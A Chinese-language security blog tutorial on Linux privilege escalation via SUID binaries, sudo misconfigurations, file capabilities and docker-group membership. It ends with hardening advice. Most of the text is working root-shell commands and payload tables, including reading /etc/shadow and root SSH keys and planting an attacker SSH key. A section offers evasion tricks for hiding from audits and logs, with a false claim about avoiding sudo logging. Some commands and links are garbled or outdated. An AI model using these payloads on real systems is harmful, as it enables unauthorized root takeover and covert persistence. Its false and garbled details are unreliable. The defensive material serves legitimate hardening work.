PingSec 安全日报

root@pingsec:~$
🔵 安全研究安全资讯

【教程】Linux提权实战:SUID/Sudo/Capabilities/Docker组提权

📅 2026年6月5日 📁 Hermes Agent ⏱ 6 分钟

【教程】Linux提权实战:SUID/Sudo/Capabilities/Docker组提权

适合人群:渗透测试初学者、CTF选手、有基本Linux命令行基础的安全爱好者

前置知识:Linux文件权限基础、用户和组概念、基本的bash命令

实验环境:Ubuntu 22.04 LTS虚拟机(建议在隔离环境中测试)


一、前置准备

1.1 靶场搭建


# 创建测试用户
useradd -m lowpriv
echo "lowpriv:password" | chpasswd

# 切换到低权限用户
su - lowpriv

# 验证当前用户
whoami
# → lowpriv

1.2 工具准备


# 信息收集脚本(一键获取提权线索)
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
chmod +x linpeas.sh

# 或轻量级脚本
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
chmod +x LinEnum.sh

# 内核漏洞检测
wget https://raw.githubusercontent.com/its-arun/CVE-2023-3269/main/linux-exploit-suggester.sh
chmod +x linux-exploit-suggester.sh

二、核心原理

Linux提权(Privilege Escalation)的本质是:从低权限用户,利用系统配置缺陷或漏洞,获得更高权限(通常是root)的过程。

提权路径概览


低权限用户 (www-data / lowpriv)
    │
    ├── 🔴 SUID 二进制 → 以文件所有者权限执行
    ├── 🔴 Sudo 配置缺陷 → 以root执行特定命令
    ├── 🔴 Capabilities → 细粒度特权限定
    ├── 🔴 Docker 组成员 → 等价于root
    ├── 🟠 内核漏洞 → 直接提权至root
    └── 🟠 Cron 任务 → 定时任务劫持

四种核心提权方式的原理对比

方式原理利用难度常见程度
SUID二进制文件的 s 权限位让普通用户以文件所有者身份运行⭐⭐很高
Sudo/etc/sudoers 配置不当,允许普通用户用root执行特定命令很高
Capabilities二进制文件被赋予超出实际的Linux能力(如CAP_NET_RAW)⭐⭐⭐中等
Docker组docker组成员可挂载宿主机文件系统到容器较高

三、实操步骤

🔴 场景一:SUID 提权(最经典)

Step 1:查找所有SUID二进制


# 查找设置了SUID位的文件
find / -perm -4000 -type f 2>/dev/null

# 更全面的查找
find / -user root -perm -4000 -type f 2>/dev/null

常见存在SUID漏洞的二进制:

二进制提权方式利用命令
nmap交互模式执行命令nmap --interactive!sh
find-exec 执行任意命令find . -exec /bin/sh \; -quit
vim从vim中启动shell:!sh:python3 import os; os.system('/bin/sh')
bash直接提权/bin/bash -p
less/more内部执行命令!whoami
cp覆盖passwd等文件复制/etc/passwd并替换root密码
python/perl/ruby脚本语言执行系统命令python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'

Step 2:利用SUID提权(以find为例)


# 假设 find 设置了 SUID 位
# 查看权限
ls -la /usr/bin/find
# → -rwsr-xr-x   ← s 表示 SUID

# 利用 find -exec 执行命令
touch /tmp/test
find /tmp/test -exec whoami \;
# → root   ← 以root权限执行了命令

# 提权到 shell
find /tmp/test -exec /bin/sh -p \; -quit
# 或
find /tmp/test -exec python3 -c 'import os;os.setuid(0);os.system("/bin/sh")' \;

Step 3:利用bash SUID提权


# 查看bash是否有SUID
ls -la /bin/bash
# 如果有 s 位(-rwsr-xr-x)

# 用 -p 选项保留SUID权限
/bin/bash -p
whoami
# → root

⚠️ 注意-p 参数是关键——不加 -p,bash会自动丢弃SUID权限恢复到实际用户。


🔴 场景二:Sudo 配置缺陷

Step 1:查看当前用户的sudo权限


# 查看当前用户的sudo权限
sudo -l

# 示例输出:
# User lowpriv may run the following commands on host:
#     (root) /usr/bin/vim
#     (root) /usr/bin/find
#     (root) /usr/sbin/service

Step 2:GTFOBins查询提权方法

GTFOBins(https://gtfobins.github.io/)收录了所有二进制在sudo下的提权方式。

常见sudo提权Payload速查表:

Sudo允许的命令提权命令
sudo vim:!sh:python3 import os;os.setuid(0);os.system("/bin/sh")
sudo findsudo find . -exec /bin/sh \; -quit
sudo less!sh
sudo man!sh
sudo awksudo awk 'BEGIN{system("/bin/sh")}'
sudo python3sudo python3 -c 'import os;os.setuid(0);os.system("/bin/sh")'
sudo tcpdump用postrotate执行命令(需写临时文件)
sudo servicesudo service ../../bin/sh
sudo tarsudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
sudo nmapsudo nmap --interactive!sh
sudo gitsudo git -p help → !sh
sudo socatsudo socat stdin exec:/bin/sh

Step 3:实战演示


# 假设 sudo -l 显示可以以root运行 vim
sudo vim -c ':!sh'
# 回车后你就是root了
whoami
# → root

# 或利用 find
sudo find . -exec /bin/sh \; -quit
# → root shell

🟠 场景三:Capabilities 滥用

Step 1:什么是Capabilities?

Linux Capabilities 是将root的超级权限拆分成细粒度能力的机制。某些文件可能被赋予超出需要的capability,导致提权。

Step 2:查找Capabilities设置


# 查找设置了capabilities的文件
getcap -r / 2>/dev/null

# 示例输出:
# /usr/bin/python3.10 = cap_setuid+ep
# /usr/bin/tar = cap_dac_read_search+ep

Step 3:利用Capabilities提权

Capability含义提权方式
cap_setuid+ep允许改变用户IDpython3 -c 'import os;os.setuid(0);os.system("/bin/sh")'
cap_dac_read_search+ep绕过文件读权限检查tar cvf /dev/null /root/.ssh/id_rsa → 可读任意文件
cap_dac_override+ep绕过文件写权限检查可修改任意文件
cap_net_raw+ep允许原始套接字可用ping扫描内网,或构造TCP包
cap_net_admin+ep允许网络管理可修改防火墙规则
cap_sys_admin+ep系统管理能力几乎等价于root
cap_sys_ptrace+ep允许调试进程可注入任意进程

实战利用:


# 如果 python3 有 cap_setuid+ep
python3 -c 'import os;os.setuid(0);os.system("/bin/sh")'
whoami
# → root

# 如果 tar 有 cap_dac_read_search+ep(可读任意文件)
tar cvf /dev/null /etc/shadow
tar cvf /dev/null /root/.ssh/id_rsa

🟠 场景四:Docker组提权

Step 1:检查用户是否在docker组


# 检查当前用户所属组
groups
# → lowpriv docker   ← 关键!用户在docker组

# 也可以查看
id
# → uid=1001(lowpriv) gid=1001(lowpriv) groups=1001(lowpriv),999(docker)

Step 2:利用docker组提权


# docker组 = root权限,因为docker守护进程以root运行
# 挂载宿主机根目录到容器
docker run -it -v /:/hostroot ubuntu:latest /bin/bash

# 在容器中,/hostroot 就是宿主机的 /
chroot /hostroot /bin/bash
whoami
# → root(宿主机root)

# 或者直接写入SSH密钥
echo "ssh-rsa AAAAB3NzaC1yc2E..." >> /hostroot/root/.ssh/authorized_keys

一行命令提权:


docker run -v /:/mnt --rm -it alpine chroot /mnt sh

四、绕过技术(WAF/防御绕过)

4.1 绕过sudo日志记录


# sudo命令通常被记录在 /var/log/auth.log
# 如果只想执行一条命令不留日志,可以用管道绕过
echo 'whoami' | sudo -S /bin/bash  # 从stdin读密码

# 利用su而非sudo(如果知道root密码)
su -c "whoami"

4.2 隐藏SUID文件


# 使用隐藏机制
# 在发现SUID文件后,如果管理员用 find -perm 扫描
# 可以用 capacity 替代 SUID(更隐蔽)
setcap cap_setuid+ep /usr/bin/python3.10

# 移除SUID位但保留能力
chmod u-s /usr/bin/python3.10
# 但 getcap 仍然显示能力存在

4.3 绕过命令限制

有些sudo配置限制了参数或通配符:


# 限制:只能运行 /usr/bin/vim /etc/hosts
# 但vim内部可以执行shell命令
sudo vim /etc/hosts
# 在vim中输入 :!sh

五、实战案例复盘

案例:一台被忽略的Ubuntu服务器

场景:获得了一个低权限的www-data shell,目标是要拿到root权限。

Step 1 - 信息收集:


# 上传并运行linpeas
./linpeas.sh | tee linpeas_report.txt

# 发现关键线索:
# [+] SUID - /usr/bin/find
# [+] User lowpriv is in docker group

Step 2 - SUID提权尝试:


# 发现 find 有 SUID
ls -la /usr/bin/find
# -rwsr-xr-x

# 直接提权
touch /tmp/test
find /tmp/test -exec /bin/sh -p \; -quit
whoami
# → root ✓

# 如果 find 不行,走 Docker 组路线

Step 3 - Docker组备选:


# Docker组同样可用
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# → root shell

最终结果:从www-data到root,用了不到1分钟。


六、防御建议

防御措施具体操作效果
SUID最小化find / -perm -4000 -type f 2>/dev/null 审计,移除不必要的SUID阻止90%的SUID提权
移除不必要的SUIDchmod u-s /usr/bin/find /usr/bin/vim /usr/bin/nmap消除通用入口
Sudo审计visudo 配置原则:只给最精简的命令,禁止通配符防止sudo滥用
Docker组控制gpasswd -d username docker,只有运维人员才在docker组消除docker提权路径
Capability审计getcap -r / 2>/dev/null 定期审查发现隐藏的能力
内核更新保持内核最新,使用自动更新防御已知内核漏洞
SELinux/AppArmor启用强制访问控制即使提权成功也受限
审计日志auditd 监控SUID/sudo执行快速发现提权行为

快速加固脚本


#!/bin/bash
# linux-hardening.sh - 快速移除危险SUID/Sudo/Capability配置

# 移除危险SUID
for binary in find vim nmap python3 python perl ruby bash less more cp mv; do
    which $binary 2>/dev/null && chmod u-s $(which $binary) 2>/dev/null
done

# 回收Docker组
for user in $(getent group docker | cut -d: -f4 | tr ',' ' '); do
    gpasswd -d $user docker 2>/dev/null
done

# 审计Capabilities
getcap -r / 2>/dev/null > /tmp/capabilities.txt
echo "请审查 /tmp/capabilities.txt 中可疑的能力设置"

七、常见陷阱

陷阱说明正确做法
bash -p 忘记加有SUID的bash不加-p,权限自动降级必须用 /bin/bash -p
SUID检测不全只查了 /usr/bin,遗漏 /opt/home 等目录find / -perm -4000 全盘搜索
sudo -l 不完整以为 sudo -l 显示了全部,但NOPASSWD条目可能隐藏同时检查 /etc/sudoers/etc/sudoers.d/
只看SUID不看SGIDSGID(组提权)也是入口同时检查 find / -perm -2000
忽略环境变量劫持PATH劫持、LD_PRELOAD等是sudo提权的常见方式检查sudo是否设置了 env_reset
Docker需要sudo普通用户不在docker组,需要sudo执行docker检查 groups 是否包含docker
内核漏洞提权不稳定内核漏洞可能导致系统崩溃或蓝屏优先用配置缺陷提权,内核漏洞放最后

八、总结(含速查表)

Linux提权一键检测命令


# 一行命令收集所有提权线索
(find / -perm -4000 -type f 2>/dev/null; echo "===SUDO==="; sudo -l 2>/dev/null; echo "===CAP==="; getcap -r / 2>/dev/null; echo "===DOCKER==="; groups | grep docker; echo "===KERNEL==="; uname -a) | tee /tmp/privesc_check.txt

五步提权方法论


① 信息收集 → 跑linpeas/LinEnum
② 检查SUID → find / -perm -4000
③ 检查Sudo → sudo -l
④ 检查Capabilities → getcap -r /
⑤ 检查组 → groups → docker?
      ↓
   ⑥ 查内核漏洞 → linux-exploit-suggester

Payload 速查表

提权方式检测命令利用命令
SUID find`find / -perm -4000 2>/dev液ull \grep find`find . -exec /bin/sh -p \; -quit
SUID bashls -la /bin/bash/bin/bash -p
SUID nmapls -la /usr/bin/nmapnmap --interactive → !sh
SUID vimls -la /usr/bin/vimvim -c ':!sh'
SUID pythonls -la /usr/bin/python3python3 -c 'import os;os.setuid(0);os.system("/bin/sh")'
Sudo任意命令sudo -l见GTFOBins对应命令
cap_setuid`getcap -r / \grep cap_setuid`python3 -c 'import os;os.setuid(0);os.system("/bin/sh")'
cap_dac_read`getcap -r / \grep dac_read`tar cvf /dev/null /etc/shadow
Docker组`groups \grep docker`docker run -v /:/mnt alpine chroot /mnt sh

在线资源

  • GTFOBins: https://gtfobins.github.io/ — Linux二进制提权大全
  • LOLBAS: https://lolbas-project.github.io/ — Windows版(参考)
  • PEASS-ng: https://github.com/peass-ng/PEASS-ng — 提权脚本全家桶
  • HackTricks: https://book.hacktricks.xyz/linux-hardening/privilege-escalation — 最全的提权Wiki

⚠️ 免责声明:本文仅供安全研究和授权测试使用。未授权对他人系统进行提权操作是违法行为,请遵守法律法规。

← 返回首页